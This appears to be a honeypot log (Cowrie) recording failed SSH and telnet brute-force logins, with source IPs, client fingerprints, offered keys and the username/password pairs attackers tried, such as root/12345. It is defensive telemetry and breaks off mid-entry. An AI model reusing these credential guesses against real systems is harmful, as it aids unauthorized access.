{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:5a:5e:60:06:be:0e:a5:66:71:78:56:76:46:fb:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAm8hi53vI5viqtI9Hu2WGAtlFzfmJVj4XW0z7hGoEl8erexaJESl4kqrXWzEYl7T0v98RBAljSHsbqFCXb6w6RseZefYUaVTEKj5rvUpq4NFJnIj5R9Sg9h1Pddf4Lj5IIzUnB9kpL99VTzegD0ty7mwx/eCkFHZNOATR9uAaI9XGTuBZSArqYa0wFf22kd8w5yu1EX2ulCnO/tAoqwViiwidSDZzq+Wa8RkRkYjpXUlRSGWLVq0KGBCgXhiSh9DUJhKXnzPau1ecJEqKPFzwSeEYTGzJaHAzU8PvehwtxBVJH7FV0MUUDamRKS/xDVVeQF+6kKb/P2ce+6pftJWB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.623472Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:45:42:9b:17:a5:39:67:8f:7f:ce:fe:ac:56:c4:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuM+KTXuwY4+4StDURm90jlkLBFxkDyJhZr5K2BdMhtTINHZnIVWY2mXT/92mThhgwBRyosvJn5EFr47ktR0JPS35RtbH4xXcBCKuaWmRWYdo4xammH32jjMgb/b0FhWGr68F/JAp+Ct4Yzo+e6wf4MisILw0qvgG7uF1fHJiM1wCSxNTk9jXvsIjpVySnf2ln/boUVyYEx2bqD23gGH+ka2BRvvjU201VFzA0oaYLtVv0Ian8iTmjK0xJDlQUpUYw/Q91G0FsuOcJkCL7QaIoBxMy6zW99ZEvJfp1CBoTBdc7fphtgQBy/XbgvEFJsQ3VnKensssTdQZVHlTWdHnf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:45:42:9b:17:a5:39:67:8f:7f:ce:fe:ac:56:c4:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.698473Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:45:42:9b:17:a5:39:67:8f:7f:ce:fe:ac:56:c4:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuM+KTXuwY4+4StDURm90jlkLBFxkDyJhZr5K2BdMhtTINHZnIVWY2mXT/92mThhgwBRyosvJn5EFr47ktR0JPS35RtbH4xXcBCKuaWmRWYdo4xammH32jjMgb/b0FhWGr68F/JAp+Ct4Yzo+e6wf4MisILw0qvgG7uF1fHJiM1wCSxNTk9jXvsIjpVySnf2ln/boUVyYEx2bqD23gGH+ka2BRvvjU201VFzA0oaYLtVv0Ian8iTmjK0xJDlQUpUYw/Q91G0FsuOcJkCL7QaIoBxMy6zW99ZEvJfp1CBoTBdc7fphtgQBy/XbgvEFJsQ3VnKensssTdQZVHlTWdHnf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.701712Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:4a:2f:e6:50:8e:f6:ca:6b:0c:e7:f8:3c:ed:51:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6OXRGDfI/DG5Nl68lGNtV31qdG4QTjyLZJ9N4+6K8LByEyimCon+ZwiQuHHDlL3ybhw0P9wxHgdwLaeGTvUwHmAh43Ohn6DGMW1wWR9RTHU5LeMHxdjEWCPueKi0kyTppTb0t32YA9BWm0IwMGhZUtyEC3gcyliIGC8uHrdf0VEXNw2DNwwhODJrnsklR5y1Y27o9f3DsDuAlTmY0X76RQqBa5QocvIEZ8SrVYjvyCOvAbCe9sXeopWh8Udg8pmbNdkxF5EOVlX8P4X5R/n/W7CqvMmCFVdNe5zn7EzdZu8snjCHpuqDap7+kFtXvK3ATplMDd5ci3m7fDy54uaVaegmle1855C+ExkEYNMSYBEXlmHzfbolb6gGfCpFstDEL9qteTnKzcvOBy5GKbGfLKfVsNkTCFEuKeT7iSDxY1hpzRrOSIGoziTI2x0wwFSOy58/FPH+bImTiJGn7qe12Mkhw3tJmbpbsB6DfUFJ7LXHERd5Vbs5cYZphpuydlbU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:4a:2f:e6:50:8e:f6:ca:6b:0c:e7:f8:3c:ed:51:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.774182Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:4a:2f:e6:50:8e:f6:ca:6b:0c:e7:f8:3c:ed:51:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6OXRGDfI/DG5Nl68lGNtV31qdG4QTjyLZJ9N4+6K8LByEyimCon+ZwiQuHHDlL3ybhw0P9wxHgdwLaeGTvUwHmAh43Ohn6DGMW1wWR9RTHU5LeMHxdjEWCPueKi0kyTppTb0t32YA9BWm0IwMGhZUtyEC3gcyliIGC8uHrdf0VEXNw2DNwwhODJrnsklR5y1Y27o9f3DsDuAlTmY0X76RQqBa5QocvIEZ8SrVYjvyCOvAbCe9sXeopWh8Udg8pmbNdkxF5EOVlX8P4X5R/n/W7CqvMmCFVdNe5zn7EzdZu8snjCHpuqDap7+kFtXvK3ATplMDd5ci3m7fDy54uaVaegmle1855C+ExkEYNMSYBEXlmHzfbolb6gGfCpFstDEL9qteTnKzcvOBy5GKbGfLKfVsNkTCFEuKeT7iSDxY1hpzRrOSIGoziTI2x0wwFSOy58/FPH+bImTiJGn7qe12Mkhw3tJmbpbsB6DfUFJ7LXHERd5Vbs5cYZphpuydlbU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.777660Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:5c:35:a8:65:34:42:90:28:37:d8:8e:7c:b2:72:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMReG7OLb0WM09qUFu7UG7EVStrI+7N4+LZ++/ZkQVokog81MnUQN8vy56J4iEJ+OX7gnWkw//vZTtEgWrJKAb4WBL5ccVruV87lElLj7MzPXJPSb2okvNxKCOC6vZawLpDl14m9NeQxBrtW8wSV9g8pJ4aUpv1wXDtEd1iaJDaTi1ns/x5fsb/1Dwxtds7sPmP+j9D1mZA1aQXd8SMub5qSafok7pdSaV+q/dS9eXdiefbeD1OQE3WEzisW7FqHRQE3kW3sBIxNtcok7yb/4cIuyJMt2IrhbLU5jJbEp+LtqAkf8ULfZBAUNAGuZW6fJAjHFzE0wa16Kww6GUvto9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:5c:35:a8:65:34:42:90:28:37:d8:8e:7c:b2:72:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.850690Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:5c:35:a8:65:34:42:90:28:37:d8:8e:7c:b2:72:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMReG7OLb0WM09qUFu7UG7EVStrI+7N4+LZ++/ZkQVokog81MnUQN8vy56J4iEJ+OX7gnWkw//vZTtEgWrJKAb4WBL5ccVruV87lElLj7MzPXJPSb2okvNxKCOC6vZawLpDl14m9NeQxBrtW8wSV9g8pJ4aUpv1wXDtEd1iaJDaTi1ns/x5fsb/1Dwxtds7sPmP+j9D1mZA1aQXd8SMub5qSafok7pdSaV+q/dS9eXdiefbeD1OQE3WEzisW7FqHRQE3kW3sBIxNtcok7yb/4cIuyJMt2IrhbLU5jJbEp+LtqAkf8ULfZBAUNAGuZW6fJAjHFzE0wa16Kww6GUvto9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.853439Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.926167Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36298,"dst_ip":"10.17.0.5","dst_port":22,"session":"495c69b82eaf","protocol":"ssh","message":"New connection: 194.113.233.25:36298 (10.17.0.5:22) [session: 495c69b82eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:40.692292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:40.696625Z","src_ip":"194.113.233.25","session":"495c69b82eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:40.787090Z","src_ip":"194.113.233.25","session":"495c69b82eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210695","message":"login attempt [root/210695] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:41.062772Z","src_ip":"194.113.233.25","session":"495c69b82eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:42.156032Z","src_ip":"194.113.233.25","session":"495c69b82eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":39946,"dst_ip":"10.17.0.5","dst_port":22,"session":"a03401fde323","protocol":"ssh","message":"New connection: 43.134.49.202:39946 (10.17.0.5:22) [session: a03401fde323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:05.153829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:05.157590Z","src_ip":"43.134.49.202","session":"a03401fde323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:05.394776Z","src_ip":"43.134.49.202","session":"a03401fde323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"czat","password":"123456","message":"login attempt [czat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:06.375895Z","src_ip":"43.134.49.202","session":"a03401fde323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:07.615717Z","src_ip":"43.134.49.202","session":"a03401fde323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":33054,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c847c265202","protocol":"ssh","message":"New connection: 85.215.121.209:33054 (10.17.0.5:22) [session: 0c847c265202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:28.378517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:28.382074Z","src_ip":"85.215.121.209","session":"0c847c265202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:28.472739Z","src_ip":"85.215.121.209","session":"0c847c265202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jeff_bezos","password":"jeff123","message":"login attempt [jeff_bezos/jeff123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:28.749329Z","src_ip":"85.215.121.209","session":"0c847c265202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:29.846732Z","src_ip":"85.215.121.209","session":"0c847c265202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":56302,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5545dd960d6","protocol":"ssh","message":"New connection: 92.118.39.49:56302 (10.17.0.5:22) [session: d5545dd960d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:53.693366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:53.850414Z","src_ip":"92.118.39.49","session":"d5545dd960d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:53.854474Z","src_ip":"92.118.39.49","session":"d5545dd960d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:54.909536Z","src_ip":"92.118.39.49","session":"d5545dd960d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:08:56.147695Z","src_ip":"92.118.39.49","session":"d5545dd960d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47322,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7314907b0e3","protocol":"telnet","message":"New connection: 107.6.151.170:47322 (159.203.135.109:23) [session: f7314907b0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:06.979223Z"}
{"eventid":"cowrie.session.closed","duration":33.35072445869446,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:40.329823Z","src_ip":"107.6.151.170","session":"f7314907b0e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":22610,"dst_ip":"159.203.135.109","dst_port":22,"session":"19721fe1dd21","protocol":"ssh","message":"New connection: 107.150.105.153:22610 (159.203.135.109:22) [session: 19721fe1dd21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:43.194450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:43.202845Z","src_ip":"107.150.105.153","session":"19721fe1dd21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:43.286604Z","src_ip":"107.150.105.153","session":"19721fe1dd21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste2","message":"login attempt [root/teste2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:43.625932Z","src_ip":"107.150.105.153","session":"19721fe1dd21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:44.713071Z","src_ip":"107.150.105.153","session":"19721fe1dd21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":59540,"dst_ip":"10.17.0.5","dst_port":22,"session":"4177868691e3","protocol":"ssh","message":"New connection: 43.134.49.202:59540 (10.17.0.5:22) [session: 4177868691e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:47.647457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:09:47.650947Z","src_ip":"43.134.49.202","session":"4177868691e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 